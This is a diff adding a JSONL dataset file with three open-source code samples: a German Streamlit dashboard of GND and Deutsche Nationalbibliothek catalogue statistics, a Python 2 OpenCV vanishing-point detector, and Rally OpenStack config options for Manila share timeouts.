diff --git "a/validation.jsonl" "b/validation.jsonl"
new file mode 100644--- /dev/null
+++ "b/validation.jsonl"
@@ -0,0 +1,1998 @@
+{"text": "from matplotlib.pyplot import title\nimport streamlit as st\nimport pandas as pd\nimport altair as alt\nimport pydeck as pdk\nimport os\nimport glob\nfrom wordcloud import WordCloud\nimport streamlit_analytics\n\npath = os.path.dirname(__file__)\n\nstreamlit_analytics.start_tracking()\n\n@st.cache\ndef load_gnd_top_daten(typ):\n gnd_top_df = pd.DataFrame()\n for file in glob.glob(f'{path}/../stats/title_gnd_{typ}_*.csv'):\n gnd_top_df = gnd_top_df.append(pd.read_csv(file, index_col=None))\n return gnd_top_df\n\ndef sachbegriff_cloud():\n #wordcloud der top 100 sachbegriffe eines auszuw\u00e4hlenden tages der letzten 10 werktage\n st.header('TOP 100 Sachbegriffe pro Tag')\n st.write('W\u00e4hlen Sie ein Datum aus den letzten 10 Werktagen vor der letzten Aktualisierung der Daten des Dashboards und sehen Sie eine Wordcloud der 100 meistverwendeten GND-Sachbegriffe dieses Tages. Die Gr\u00f6\u00dfe des Begriffes entspricht der H\u00e4ufigkeit des Sachbegriffs.')\n files = glob.glob(f'{path}/../stats/*Ts-count.csv')\n daten = [x[-23:-13] for x in files]\n daten.sort()\n daten_filter = st.select_slider('W\u00e4hlen Sie ein Datum', options=daten, value=daten[-1])\n\n df = pd.read_csv(f'{path}/../stats/{daten_filter}-Ts-count.csv')\n \n dict = df.to_dict(orient='records')\n worte = {}\n for record in dict:\n worte.update({record['sachbegriff']:record['count']})\n\n wc = WordCloud(background_color=\"white\", max_words=100, width=2000, height=800, colormap='tab20')\n wc.generate_from_frequencies(worte)\n return st.image(wc.to_array())\n\ndef wirkungsorte():\n #ranking und karte der meistverwendeten wirkungsorte aller personen in der gnd\n df = pd.read_csv(f'{path}/wirkungsorte-top50.csv')\n df.drop(columns=['id'], inplace=True)\n df.rename(columns={'name': 'Name', 'count': 'Anzahl'}, inplace=True)\n\n st.header('TOP Wirkungsorte von GND-Personen')\n st.markdown('Von allen Personens\u00e4tzen (Tp) weisen 782.682 Angaben zum Wirkungsort der jeweiligen Person auf.')\n\n #Balkendiagramm\n orte_filt = st.slider('Zeige Top \u2026', min_value=3, max_value=len(df), value=10, step=1)\n graph_count = alt.Chart(df.nlargest(orte_filt, 'Anzahl', keep='all')).mark_bar().encode(\n alt.X('Name:N', sort='y'),\n alt.Y('Anzahl'),\n alt.Color('Name:N', legend=alt.Legend(columns=2)),\n tooltip=[alt.Tooltip('Name:N', title='Ort'), alt.Tooltip('Anzahl:Q', title='Anzahl')]\n )\n st.altair_chart(graph_count, use_container_width=True)\n\n #Karte\n INITIAL_VIEW_STATE = pdk.ViewState(\n latitude=50.67877877706058,\n longitude=8.129981238464392,\n zoom=4.5,\n max_zoom=16,\n bearing=0\n )\n\n scatterplotlayer = pdk.Layer(\n \"ScatterplotLayer\",\n df,\n pickable=True,\n opacity=0.5,\n stroked=True,\n filled=True,\n radius_min_pixels=1,\n radius_max_pixels=100,\n line_width_min_pixels=1,\n get_position='[lon, lat]',\n get_radius=\"Anzahl\",\n get_fill_color=[255, 140, 0],\n get_line_color=[0, 0, 0]\n)\n\n st.pydeck_chart(pdk.Deck(\n scatterplotlayer,\n initial_view_state=INITIAL_VIEW_STATE,\n map_style=pdk.map_styles.LIGHT,\n tooltip={\"html\": \"{Name} Wirkungsort von {Anzahl} Personen\"}))\n\ndef wirkungsorte_musik():\n #nach jahrzehnten zwischen 1400 und 2010 gefilterte auswertung der GND-Musikwerke, Musik-Personen und Wikrungsorte und daraus abgeleitete Zentren der Musikkultur, dargestellt auf einer Karte\n musiker_orte = pd.read_csv(f'{path}/musiker_orte.csv', sep='\\t', index_col='idn')\n st.header('Wirkungszentren der Musik 1400\u20132010')\n st.write('Eine Auswertung der ver\u00f6ffentlichten Titel von Musikern und deren Wirkungszeiten erlaubt R\u00fcckschl\u00fcsse auf die musikalischen Zentren, wie sie im Bestand der DNB repr\u00e4sentiert sind.')\n limiter = st.slider('Jahresfilter', min_value=1400, max_value=int(musiker_orte['jahrzehnt'].max()), value=(1900), step=10)\n musik_filt= musiker_orte.loc[(musiker_orte['jahrzehnt'] == limiter)]\n musik_filt['norm']=(musik_filt['count']-musik_filt['count'].min())/(musik_filt['count'].max()-musik_filt['count'].min())\n #Karte\n INITIAL_VIEW_STATE = pdk.ViewState(\n latitude=50.67877877706058,\n longitude=8.129981238464392,\n zoom=4.5,\n max_zoom=16,\n bearing=0\n )\n\n musiker_scatter = pdk.Layer(\n \"ScatterplotLayer\",\n musik_filt,\n opacity=0.8,\n get_position='[lon, lat]',\n pickable=True,\n stroked=True,\n filled=True,\n radius_min_pixels=1,\n radius_max_pixels=100,\n radiusscale=100,\n line_width_min_pixels=1,\n get_radius=\"norm*50000\",\n get_fill_color=[50, 168, 92],\n get_line_color=[39, 71, 51]\n )\n\n st.pydeck_chart(pdk.Deck(\n musiker_scatter,\n initial_view_state=INITIAL_VIEW_STATE,\n map_style=pdk.map_styles.LIGHT,\n tooltip={\"html\": \"{name}\"}))\n st.subheader(f'TOP 10 Wirkungszentren der {limiter}er')\n col1, col2 = st.beta_columns(2)\n i = 1\n for index, row in musik_filt.nlargest(10, 'norm').iterrows():\n if i <= 5:\n with col1:\n st.write(f'{i}. {row[\"name\"]}')\n elif i > 5:\n with col2:\n st.write(f'{i}. {row[\"name\"]}')\n i += 1\n\ndef gesamt_entity_count():\n #Gesamtzahl der GND-Entit\u00e4ten\n with open(f\"{path}/../stats/gnd_entity_count.csv\", \"r\") as f:\n entities = f'{int(f.read()):,}'\n return st.write(f\"GND-Entit\u00e4ten gesamt: {entities.replace(',','.')}\")\n\ndef relationen():\n #Top 10 der GND-Relationierungscodes\n rels = pd.read_csv(f'{path}/../stats/gnd_codes_all.csv', index_col=False)\n st.subheader('Relationen')\n st.write('GND-Datens\u00e4tze k\u00f6nnen mit anderen Datens\u00e4tzen verlinkt (\u00bbrelationiert\u00ab) werden. Die Art der Verlinkung wird \u00fcber einen Relationierungscode beschrieben. Hier sind die am h\u00e4ufigsten verwendeten Relationierungscodes zu sehen. Die Aufl\u00f6sung der wichtigsten Codes gibt es [hier](https://wiki.dnb.de/download/attachments/51283696/Codeliste_ABCnachCode_Webseite_2012-07.pdf).')\n rels_filt = st.slider('Zeige Top ...', 5, len(rels), 10, 1)\n relation_count = alt.Chart(rels.nlargest(rels_filt, 'count', keep='all')).mark_bar().encode(\n alt.X('code', title='Relationierungs-Code', sort='-y'),\n alt.Y('count', title='Anzahl'),\n alt.Color('code', sort='-y', title='Relationierungscode'),\n tooltip=[alt.Tooltip('count', title='Anzahl'), alt.Tooltip('code', title='Code')]\n )\n st.altair_chart(relation_count, use_container_width=True)\n\n with open(f\"{path}/../stats/gnd_relation_count.csv\", \"r\") as f:\n relations = f'{int(f.read()):,}'\n st.write(f\"Relationen zwischen Entit\u00e4ten gesamt: {relations.replace(',','.')}\")\n\ndef systematik():\n #Ranking der meistverwendeten GND-Systematik-Notationen\n classification = pd.read_csv(f'{path}/../stats/gnd_classification_all.csv', index_col=False)\n st.subheader('Systematik')\n st.write('Die Entit\u00e4ten der GND k\u00f6nnen in eine Systematik eingeordnet werden. Die Liste der m\u00f6glichen Notationen gibt es [hier](http://www.dnb.de/gndsyst).')\n class_filt = st.slider('Zeige Top \u2026', 5, len(classification), 10, 1)\n classification_count = alt.Chart(classification.nlargest(class_filt, 'count', keep='all')).mark_bar().encode(\n alt.X('id', title='Notation', sort='-y'),\n alt.Y('count', title='Anzahl'),\n alt.Color('name', sort='-y', title=\"Bezeichnung\"),\n tooltip=[alt.Tooltip('id', title='Notation'), alt.Tooltip('name', title='Bezeichnung'), alt.Tooltip('count', title='Anzahl')]\n )\n return st.altair_chart(classification_count, use_container_width=True)\n\ndef systematik_ts():\n #Ranking der Systematik von Ts-S\u00e4tzen\n classification_ts = pd.read_csv(f'{path}/../stats/gnd_classification_Ts_all.csv', index_col=False)\n st.subheader('Systematik der Sachbegriffe')\n st.write('Die Entit\u00e4ten der GND k\u00f6nnen in eine Systematik eingeordnet werden. Hier sind die Systematik-Notationen der Sachbegriffe (Ts) aufgetragen. Die Liste der m\u00f6glichen Notationen gibt es [hier](http://www.dnb.de/gndsyst).')\n class_ts_filt = st.slider('Zeige TOP \u2026', min_value=5, max_value=len(classification_ts), value=10, step=1)\n classification_ts_count = alt.Chart(classification_ts.nlargest(class_ts_filt, 'count', keep='all')).mark_bar().encode(\n alt.X('id:N', title='Notation', sort='-y'),\n alt.Y('count:Q', title='Anzahl'),\n alt.Color('name:N', sort='-y', title='Bezeichnung'),\n tooltip = [alt.Tooltip('id', title='Notation'), alt.Tooltip('name', title='Bezeichnung'), alt.Tooltip('count', title='Anzahl')]\n )\n return st.altair_chart(classification_ts_count, use_container_width=True)\n\ndef zeitverlauf():\n #zeitverlauf der erstellung der GND-S\u00e4tze ab Januar 1972\n created_at = pd.read_csv(f'{path}/../stats/gnd_created_at.csv', index_col='created_at', parse_dates=True, header=0, names=['created_at', 'count'])\n \n st.subheader('Zeitverlauf der GND-Datensatzerstellung')\n st.write('Auf einer Zeitleiste wird die Anzahl der monatlich erstellten GND-S\u00e4tze aufgetragen. Die ersten S\u00e4tze stammen aus dem Januar 1972')\n created_filt = st.slider('Zeitraum', 1972, 2021, (1972,2021), 1)\n created = alt.Chart(created_at[f'{created_filt[0]}':f'{created_filt[1]}'].reset_index()).mark_line().encode(\n alt.X('created_at:T', title='Erstelldatum'),\n alt.Y('count:Q', title='S\u00e4tze pro Monat'),\n tooltip=['count']\n )\n return st.altair_chart(created, use_container_width=True)\n\ndef entities():\n #GND-Entit\u00e4ten nach Satzart und Katalogisierungslevel\n df = pd.read_csv(f'{path}/../stats/gnd_entity_types.csv', index_col=False, names=['entity','count'])\n df['level'] = df.entity.str[2:3]\n df.entity = df.entity.str[:2]\n\n if satzart == 'alle':\n\n entity_count = alt.Chart(df).mark_bar().encode(\n alt.X('sum(count)', title='Datens\u00e4tze pro Katalogisierungslevel'),\n alt.Y('entity', title='Satzart'),\n alt.Color('level', title='Katalogisierungslevel'),\n tooltip=[alt.Tooltip('entity', title='Satzart'), alt.Tooltip( 'level', title='Katalogisierungslevel'), alt.Tooltip('count', title='Anzahl')]\n )\n st.subheader('Entit\u00e4ten und Katalogisierungslevel')\n\n else:\n\n entity_count = alt.Chart(df.loc[df['entity'].str.startswith(satzart[:2])]).mark_bar().encode(\n alt.X('sum(count)', title='Datens\u00e4tze pro Katalogisierungslevel'),\n alt.Y('entity', title='Satzart'),\n alt.Color('level', title='Katalogisierungslevel'),\n tooltip=[alt.Tooltip( 'level', title='Katalogisierungslevel'), alt.Tooltip('count', title='Anzahl')]\n )\n st.subheader(f'Katalogisierungslevel in Satzart {satzart}')\n st.write('Alle GND-Entit\u00e4ten k\u00f6nnen in verschiedenen Katalogisierungsleveln (1-7) angelegt werden. Je niedriger das Katalogisierungslevel, desto verl\u00e4sslicher die Daten, weil Sie dann von qualifizierten Personen erstellt bzw. \u00fcberpr\u00fcft wurden.')\n return st.altair_chart(entity_count, use_container_width=True)\n\ndef newcomer():\n #TOP 10 der Entit\u00e4ten, die in den letzten 365 Tagen erstellt wurden\n if satzart == 'alle':\n st.subheader(f'TOP 10 GND-Newcomer')\n st.write('TOP 10 der GND-Entit\u00e4ten, die in den letzten 365 Tagen angelegt wurden.')\n newcomer_daten = pd.read_csv(f'{path}/../stats/title_gnd_newcomer_top10.csv', index_col=None)\n\n newcomer = alt.Chart(newcomer_daten).mark_bar().encode(\n alt.X('gnd_id', title='Entit\u00e4ten', sort='-y'),\n alt.Y('count', title='Anzahl'),\n alt.Color('name', sort='-y', title='Entit\u00e4t'),\n tooltip=[alt.Tooltip('name:N', title='Entit\u00e4t'), alt.Tooltip('bbg:N', title='Satzart'), alt.Tooltip('gnd_id:N', title='IDN'), alt.Tooltip('count:Q', title='Anzahl')]\n )\n\n else:\n st.subheader(f'TOP 10 {satzart} GND-Newcomer')\n st.write(f'TOP 10 der {satzart} S\u00e4tze, die in den letzten 365 Tagen angelegt wurden.')\n newcomer_daten = load_gnd_top_daten('newcomer_top10')\n\n newcomer = alt.Chart(newcomer_daten.loc[newcomer_daten['bbg'].str.startswith(satzart[:2], na=False)]).mark_bar().encode(\n alt.X('gnd_id:O', title='Entit\u00e4ten', sort='-y'),\n alt.Y('count', title='Anzahl'),\n alt.Color('name', sort='-y', title='Entit\u00e4t'),\n tooltip=[alt.Tooltip('name:N', title='Entit\u00e4t'), alt.Tooltip('gnd_id:N', title='IDN'), alt.Tooltip('count:Q', title='Anzahl')]\n )\n st.altair_chart(newcomer, use_container_width=True)\n\ndef gnd_top():\n #TOP 10 GND-Entit\u00e4ten in DNB-Titeldaten, nach Satzart gefiltert\n if satzart == 'alle':\n st.subheader(f'TOP 10 GND-Entit\u00e4ten in DNB-Titeldaten')\n top_daten = pd.read_csv(f'{path}/../stats/title_gnd_top10.csv', index_col=None)\n\n gnd_top = alt.Chart(top_daten).mark_bar().encode(\n alt.X('gnd_id:N', title='Entit\u00e4ten', sort='-y'),\n alt.Y('count:Q', title='Anzahl'),\n alt.Color('name:N', sort='-y', title='Entit\u00e4t'),\n tooltip=[alt.Tooltip('name:N', title='Entit\u00e4t'), alt.Tooltip('gnd_id:N', title='IDN'), alt.Tooltip('bbg:N', title='Satzart'), alt.Tooltip('count:Q', title='Anzahl')]\n )\n\n else:\n st.subheader(f'TOP 10 {satzart} in DNB-Titeldaten')\n top_daten = load_gnd_top_daten('top10')\n\n gnd_top = alt.Chart(top_daten.loc[top_daten['bbg'].str.startswith(satzart[:2], na=False)]).mark_bar().encode(\n alt.X('gnd_id:N', title='Entit\u00e4ten', sort='-y'),\n alt.Y('count:Q', title='Anzahl'),\n alt.Color('name:N', sort='-y', title='Entit\u00e4t'),\n tooltip=[alt.Tooltip('name:N', title='Entit\u00e4t'), alt.Tooltip('gnd_id:N', title='IDN'), alt.Tooltip('count:Q', title='Anzahl')]\n )\n st.write('Verkn\u00fcpfungen, die maschinell erzeugt wurden, aus Fremddaten stammen oder verwaist sind, wurden nicht in die Auswertung einbezogen. Eine detaillierte Auflistung der ausgewerteten Felder ist im [GitHub-Repository](https://git.io/JG5vN) dieses Dashboards dokumentiert.')\n st.altair_chart(gnd_top, use_container_width=True)\n\ndef dnb_links():\n #GND-Verkn\u00fcpfungen in DNB Titeldaten\n if satzart == 'alle':\n #Anzahl GND-Verkn\u00fcpfungen in DNB-Titeldaten\n with open(f\"{path}/../stats/title_gnd_links.csv\", \"r\") as f:\n links = f'{int(f.read()):,}'\n \n #GND-Entit\u00e4ten maschinell verkn\u00fcpft\n with open(f\"{path}/../stats/title_gnd_links_auto.csv\", \"r\") as f:\n auto_entites = int(f.read())\n\n #GND-Entit\u00e4ten aus Fremddaten\n with open(f\"{path}/../stats/title_gnd_links_ext.csv\", \"r\") as f:\n fremd_entities = int(f.read())\n\n #Anzahl der intellktuell verkn\u00fcpften GND-Entit\u00e4ten in DNB-Titeldaten\n with open(f\"{path}/../stats/title_gnd_links_unique.csv\", \"r\") as f:\n uniques = int(f.read())\n uniques_str = f'{uniques:,}'\n\n #Durchschnittliche Anzahl an GND-Verkn\u00fcpfungen pro DNB-Titeldatensatz\n with open(f\"{path}/../stats/title_gnd_mean.csv\", \"r\") as f:\n mean = str(round(float(f.read()),2)).replace('.',',')\n\n st.write(f\"{links.replace(',','.')} intellektuell vergebene Verkn\u00fcpfungen zu {uniques_str.replace(',','.')} GND-Entit\u00e4ten in den DNB-Titeldaten. Durchschnittlich {mean} GND-Verkn\u00fcpfungen pro DNB-Titeldatensatz\")\n\n entity_df = pd.DataFrame.from_dict({\"intellektuell verkn\u00fcpfte Entit\u00e4ten\": uniques, \"Entit\u00e4ten aus automatischen Prozessen\": auto_entites, \"Entit\u00e4ten aus Fremddaten\": fremd_entities}, orient = \"index\").reset_index()\n entity_df = entity_df.rename(columns={\"index\":\"Datenart\", 0:\"Anzahl\"})\n st.subheader('Datenherkunft der GND-Entit\u00e4ten in DNB-Titeldaten')\n st.write('Weniger als ein Drittel der GND-Entit\u00e4ten in DNB-Titeldaten wurde in intellektuellen Erschlie\u00dfungsprozessen vergeben. Jeweils ca. ein weiteres Drittel wurde in maschinellen Erschlie\u00dfungsprozessen vergeben, ca. ein Drittel stammt aus Fremddaten.')\n entities = alt.Chart(entity_df).mark_bar().encode(\n alt.X('sum(Datenart):N', title='Datenart'),\n alt.Y('sum(Anzahl):Q', title='Anzahl'),\n color='Datenart',\n tooltip='Anzahl:N'\n )\n st.altair_chart(entities, use_container_width=True)\n\n \n else:\n with open(f\"{path}/../stats/title_gnd_mean_{satzart[:2]}.csv\", \"r\") as f:\n mean = str(round(float(f.read()),2)).replace('.',',')\n st.write(f'Durchschnittlich {mean} Verkn\u00fcpfungen zu {satzart}-S\u00e4tzen pro DNB-Titeldatensatz')\n\n#main\nst.title('GND-Dashboard')\n\n#infoebereich oben\nwith st.beta_container():\n st.info('Hier finden Sie statistische Auswertungen der GND und ihrer Verkn\u00fcpfungen mit den Titeldaten der Deutschen Nationalbibliothek (Stand der Daten: Juli 2021). W\u00e4hlen Sie links die Satzart, die Sie interessiert, und Sie erhalten die verf\u00fcgbaren Auswertungen und Statstiken. Verwenden Sie einen auf Chromium basierenden Browser.')\n with st.beta_expander(\"Methodik und Datenherkunft\"):\n st.markdown('''\nDatengrundlage ist ein Gesamtabzug der Daten der Gemeinsamen Normadatei (GND) sowie der Titeldaten der Deutschen Nationalbibliothek (DNB) inkl. Zeitschriftendatenbank (ZDB), sofern sich Exemplare der Zeitschrift im Bestand der DNB befinden. In den Titeldaten ist auch der Tontr\u00e4ger- und Notenbestand des Deutschen Musikarchivs (DMA) sowie der Buch- und Objektbestand des Deutschen Buch- und Schriftmuseums (DBSM) nachgewiesen.\n\nDer Gesamtabzug liegt im OCLC-Format PICA+ vor. Die Daten werden mithilfe des Pica-Parsers [pica.rs](https://github.com/deutsche-nationalbibliothek/pica-rs) gefiltert. Dieses Tool produziert aus dem sehr gro\u00dfen Gesamtabzug (~ 31 GB) kleinere CSV-Dateien, die mit Python weiterverarbeitet werden.\n\nDas Dashboard ist mit dem Python-Framework [Streamlit](https://streamlit.io/) geschrieben. Die Skripte sowie die gefilterten CSV-Rohdaten sind auf [Github](https://github.com/buchmuseum/GND_Dashboard) zu finden. Die Diagramme wurden mit [Altair](https://altair-viz.github.io/index.html) erstellt, die Karten mit [Deck GL](https://deck.gl/) (via [Pydeck](https://deckgl.readthedocs.io/en/latest/#)), die Wordcloud mit [wordcloud](https://amueller.github.io/word_cloud/index.html).\n\nF\u00fcr grundlegende Zugriffsstatistik verwenden wir [streamlit-analytics](https://pypi.org/project/streamlit-analytics/). Dabei werden keine personenbezogenen Daten gespeichert.\n\nAlle Skripte und Daten stehen unter CC0 Lizenz und k\u00f6nnen frei weitergenutzt werden.\n\nDie Daten werden monatlich aktualisiert.\n''')\n\n#sidebar mit satzartenfilter\nst.sidebar.header(\"Satzart w\u00e4hlen\")\nsatzart = st.sidebar.selectbox(\n \"\u00dcber welche GND-Satzart m\u00f6chten Sie etwas erfahren?\",\n ('alle', \"Tp - Personen\", \"Tb - K\u00f6rperschaften\", \"Tg - Geografika\", \"Ts - Sachbegriffe\", \"Tu - Werke\", \"Tf - Veranstaltungen\")\n)\nst.sidebar.info('Diese Widgets haben die GitHub-User [niko2342](https://github.com/niko2342/), [ramonvoges](https://github.com/ramonvoges), [a-wendler](https://github.com/a-wendler/) sowie Christian Baumann geschrieben. Sie geh\u00f6ren zur Python Community der Deutschen Nationalbibliothek.')\n\ngnd_allgemein = st.beta_container()\nwith gnd_allgemein:\n st.header('GND Statistik allgemein')\n #allgemeine statistiken in abh\u00e4ngigkeit der satzart\n if satzart == 'alle':\n gesamt_entity_count()\n entities()\n newcomer()\n zeitverlauf()\n relationen()\n systematik()\n else:\n entities()\n newcomer()\n \n #besondere widgets f\u00fcr einzelne satzarten\n if satzart == \"Tp - Personen\":\n wirkungsorte()\n elif satzart == \"Tg - Geografika\":\n wirkungsorte_musik()\n wirkungsorte()\n elif satzart == \"Ts - Sachbegriffe\":\n sachbegriff_cloud()\n systematik_ts()\n\ndnb = st.beta_container()\nwith dnb:\n st.header('GND in der Deutschen Nationalbibliothek')\n gnd_top()\n dnb_links()\n\nstreamlit_analytics.stop_tracking()", "source": "buchmuseum/GND_Dashboard", "license": "CC0-1.0"}
+{"text": "import cv2 as cv\nimport numpy as np\nimport copy\nimport math\nimport Edges\nimport INTPoint\n\neps = 1e-7\nvotes = {}\nGroups = []\nVPoints = []\nCenters = []\nCluster = []\nvoters = {}\ndef getEdges(image):\n #moved to Edges.py\n return Edges.getEdges(image)\n\ndef getLines(edges):\n #moved to Edges.py\n return Edges.getLines(edges)\n\ndef checkRound(pos,edges):\n #moved to Edges.py\n return Edges.checkRound(pos,edges)\n\ndef outOfSize(pos,edges):\n #moved to Edges.py\n return Edges.outOfSize(pos,edges)\n\ndef extenLine(line,edges):\n #moved to Edges.py\n return Edges.extenLine(line,edges)\n\ndef extenLines(lines,edges):\n #moved to Edges.py\n return Edges.extenLines(lines,edges)\n\ndef shouldMerge(line1,line2):\n #moved to Edges.py\n return Edges.shouldMerge(line1,line2)\n\ndef mergeLines(lines):\n #moved to Edges.py\n return Edges.mergeLines(lines)\n\ndef getLineABC(line):\n #moved to Edges.py\n return Edges.getLineABC(line)\n\ndef getCirAnch(a,b):\n #moved to Edges.py\n return Edges.getCirAnch(a,b)\n\ndef getCrossPoint(linea,lineb):\n #moved to INTPoint.py\n return INTPoint.getIntersectPoint(linea,lineb)\n\ndef sortLines(lines):\n #moved to Edges.py\n return Edges.sortLines(lines)\n\ndef getVPoints2(lines,arange = 0.2617):\n #moved to INTPoint.py\n global VPoints\n VPoints = INTPoint.getVPoints2(lines,arange)\n return VPoints\n\ndef getVPoints(num = 16):\n #this function is fallen into disuse because of the low speed\n for i in range(0,num + 1,1):\n lens = len(Groups[i])\n for j in range(0,lens,1):\n for k in range(j+1,lens,1):\n VPoints.append(getCrossPoint(Groups[i][j],Groups[i][k]))\n\ndef removeSame(list):\n #moved to INTPoint.py\n return INTPoint.removeSame(list)\n\ndef getLinesLength(line):\n #moved to INTPoint.py\n return INTPoint.getLinesLength(line)\n\ndef getMidPoint(line):\n #moved to INTPoint.py\n return INTPoint.getMidPoint(line)\n\ndef getArch(line,point):\n #moved to INTPoint.py\n return INTPoint.getArch(line,point)\n\ndef voteForPoint(lines):\n #moved to INTPoint.py\n global votes\n global voters\n votes,voters = INTPoint.voteForPoint(lines,VPoints)\n return\n\ndef getGraPoint(points):\n count = 1.0\n sumx = 0.0\n sumy = 0.0\n for point in points:\n w = votes[point]\n count += w\n sumx += w * point[0]\n sumy += w * point[1]\n return (sumx/count,sumy/count)\n\ndef devideIntoPoints(Points):\n global Cluster\n lens = len(Cluster)\n for i in range(0,lens,1):\n Cluster[i] = []\n \n for point in Points:\n if point[0] == 'p' or point[0] == 'h' or point[0] == 'v':\n continue\n if votes[point] == 0:\n continue\n minlens = 1e15\n minpos = 0\n now = -1\n for cen in Centers:\n now += 1\n lens = getLinesLength((point[0],point[1],cen[0],cen[1]))\n if lens < minlens:\n minlens = lens\n minpos = now\n Cluster[minpos].append(point)\n\ndef KMean(points,K = 3,step = 50):\n global Cluster\n global Centers\n Cluster = []\n Centers = []\n if K == 1:\n step = 1\n for i in range(0,K,1):\n Cluster.append([])\n Centers.append([0,0])\n \n count = 0\n for point in points:\n if point[0] != 'p' and point[0] != 'v' and point[0] != 'h' and votes[point] != 0:\n Centers[count][0] = point[0]\n Centers[count][1] = point[1]\n count += 1\n if count == K:\n break\n\n for i in range(0,step,1):\n devideIntoPoints(points)\n for i in range(0,K,1):\n Centers[i] = getGraPoint(Cluster[i])\n\ndef getFinal(points):\n count = 0.0\n num = 0\n p1 = 0.0\n ret1 = []\n p2 = 0.0\n ret2 = []\n for item in votes:\n if item[0] == 'p' or item[0] == 'h' or item[0] == 'v':\n if votes[item] > p1:\n p2 = p1\n ret2 = ret1\n p1 = votes[item]\n ret1 = item\n else:\n if votes[item] > p2:\n p2 = votes[item]\n ret2 = item\n else:\n count += votes[item]\n num += 1\n K = 3\n ret = []\n count = count / num * 0.1\n if p1 > count:\n K -= 1\n ret.append(ret1)\n if p2 > count:\n K -= 1\n ret.append(ret2)\n KMean(points,K)\n for i in range(0,K,1):\n ret.append(Centers[i])\n return ret\n\ndef deal(inputname,outputname):\n global votes\n global Groups\n global VPoints\n global Centers\n global Cluster\n global voters\n votes = {}\n Groups = []\n VPoints = []\n Centers = []\n Cluster = []\n voters = {}\n image = cv.imread(inputname)\n edges = getEdges(image)\n cv.imwrite(outputname + 'edges.jpg',edges)\n lines = getLines(edges)\n lines2 = copy.deepcopy(lines)\n lines2 = extenLines(lines2,edges)\n lines2 = mergeLines(lines2)\n\n #devideIntoGroups(lines2,3)\n lines2 = sortLines(lines2)\n getVPoints2(lines2)\n\n VPoints = removeSame(VPoints)\n voteForPoint(lines2)\n votes2 = sorted(votes.iteritems(),key=lambda votes:votes[1],reverse=True)\n lenofvotes = min(len(votes2),max(5,int(len(votes2) * 0.2)))\n votesFinal = {}\n VPoints = []\n for i in range(0,lenofvotes,1):\n votesFinal[votes2[i][0]] = votes2[i][1]\n VPoints.append(votes2[i][0])\n for i in range(lenofvotes,len(votes2),1):\n if votes2[i][0][0] == 'h' or votes2[i][0][0] == 'v' or votes2[i][0][0] == 'p':\n votesFinal[votes2[i][0]] = votes2[i][1]\n VPoints.append(votes2[i][0])\n votes = votesFinal\n ans = getFinal(VPoints)\n print ans\n edges = cv.cvtColor(edges,cv.COLOR_GRAY2BGR)\n edges2 = copy.deepcopy(edges)\n for item in lines:\n if item[0] == 'N':\n continue\n cv.line(edges,(item[0],item[1]),(item[2],item[3]),(0,0,255),2)\n for item in lines2:\n cv.line(edges2,(item[0],item[1]),(item[2],item[3]),(0,0,255),2)\n color = [255,0,0,0]\n for clu in Cluster:\n for i in range(0,4,1):\n if color[i] == 255:\n color[i+1] = 255\n color[i] = 0\n break\n for point in clu:\n if point[0] > 0 and point[1] > 0:\n if point[0] < edges.shape[1] and point[1] < edges.shape[0]:\n if votes[point] == 0:\n continue\n cv.line(edges2,(int(point[0]),int(point[1])),(int(point[0]),int(point[1])),(color[1],color[2],color[3]),10)\n for point in ans:\n if point[0] > 0 and point[1] > 0:\n if point[0] < edges.shape[1] and point[1] < edges.shape[0]:\n cv.line(edges2,(int(point[0]),int(point[1])),(int(point[0]),int(point[1])),(255,255,255),10)\n\n cv.imwrite(outputname + 'linedetect.jpg',edges)\n cv.imwrite(outputname + 'answer.jpg',edges2)\n fd = open(outputname + 'answer.txt','w')\n fd.write('(' + str(ans[0][0]) + ',' + str(ans[0][1]) + ')(' + str(ans[1][0]) + ',' + str(ans[1][1]) + ')(' + str(ans[2][0]) + ',' + str(ans[2][1]) + ')')\n fd.close\n\ndeal(\"data/1.jpg\",'1')", "source": "SymenYang/Vanish-Point-Detect", "license": "MIT"}
+{"text": "# Copyright 2013: Mirantis Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom rally.common import cfg\n\nOPTS = {\"openstack\": [\n cfg.FloatOpt(\n \"manila_share_create_prepoll_delay\",\n default=2.0,\n deprecated_group=\"benchmark\",\n help=\"Delay between creating Manila share and polling for its \"\n \"status.\"),\n cfg.FloatOpt(\n \"manila_share_create_timeout\",\n default=300.0,\n deprecated_group=\"benchmark\",\n help=\"Timeout for Manila share creation.\"),\n cfg.FloatOpt(\n \"manila_share_create_poll_interval\",\n default=3.0,\n deprecated_group=\"benchmark\",\n help=\"Interval between checks when waiting for Manila share \"\n \"creation.\"),\n cfg.FloatOpt(\n \"manila_share_delete_timeout\",\n default=180.0,\n deprecated_group=\"benchmark\",\n help=\"Timeout for Manila share deletion.\"),\n cfg.FloatOpt(\n \"manila_share_delete_poll_interval\",\n default=2.0,\n deprecated_group=\"benchmark\",\n help=\"Interval between checks when waiting for Manila share \"\n \"deletion.\"),\n cfg.FloatOpt(\n \"manila_access_create_timeout\",\n default=300.0,\n deprecated_group=\"benchmark\",\n help=\"Timeout for Manila access creation.\"),\n cfg.FloatOpt(\n \"manila_access_create_poll_interval\",\n default=3.0,\n deprecated_group=\"benchmark\",\n help=\"Interval between checks when waiting for Manila access \"\n \"creation.\"),\n cfg.FloatOpt(\n \"manila_access_delete_timeout\",\n default=180.0,\n deprecated_group=\"benchmark\",\n help=\"Timeout for Manila access deletion.\"),\n cfg.FloatOpt(\n \"manila_access_delete_poll_interval\",\n default=2.0,\n deprecated_group=\"benchmark\",\n help=\"Interval between checks when waiting for Manila access \"\n \"deletion.\"),\n]}\n", "source": "RSE-Cambridge/rally-openstack", "license": "Apache-2.0"}
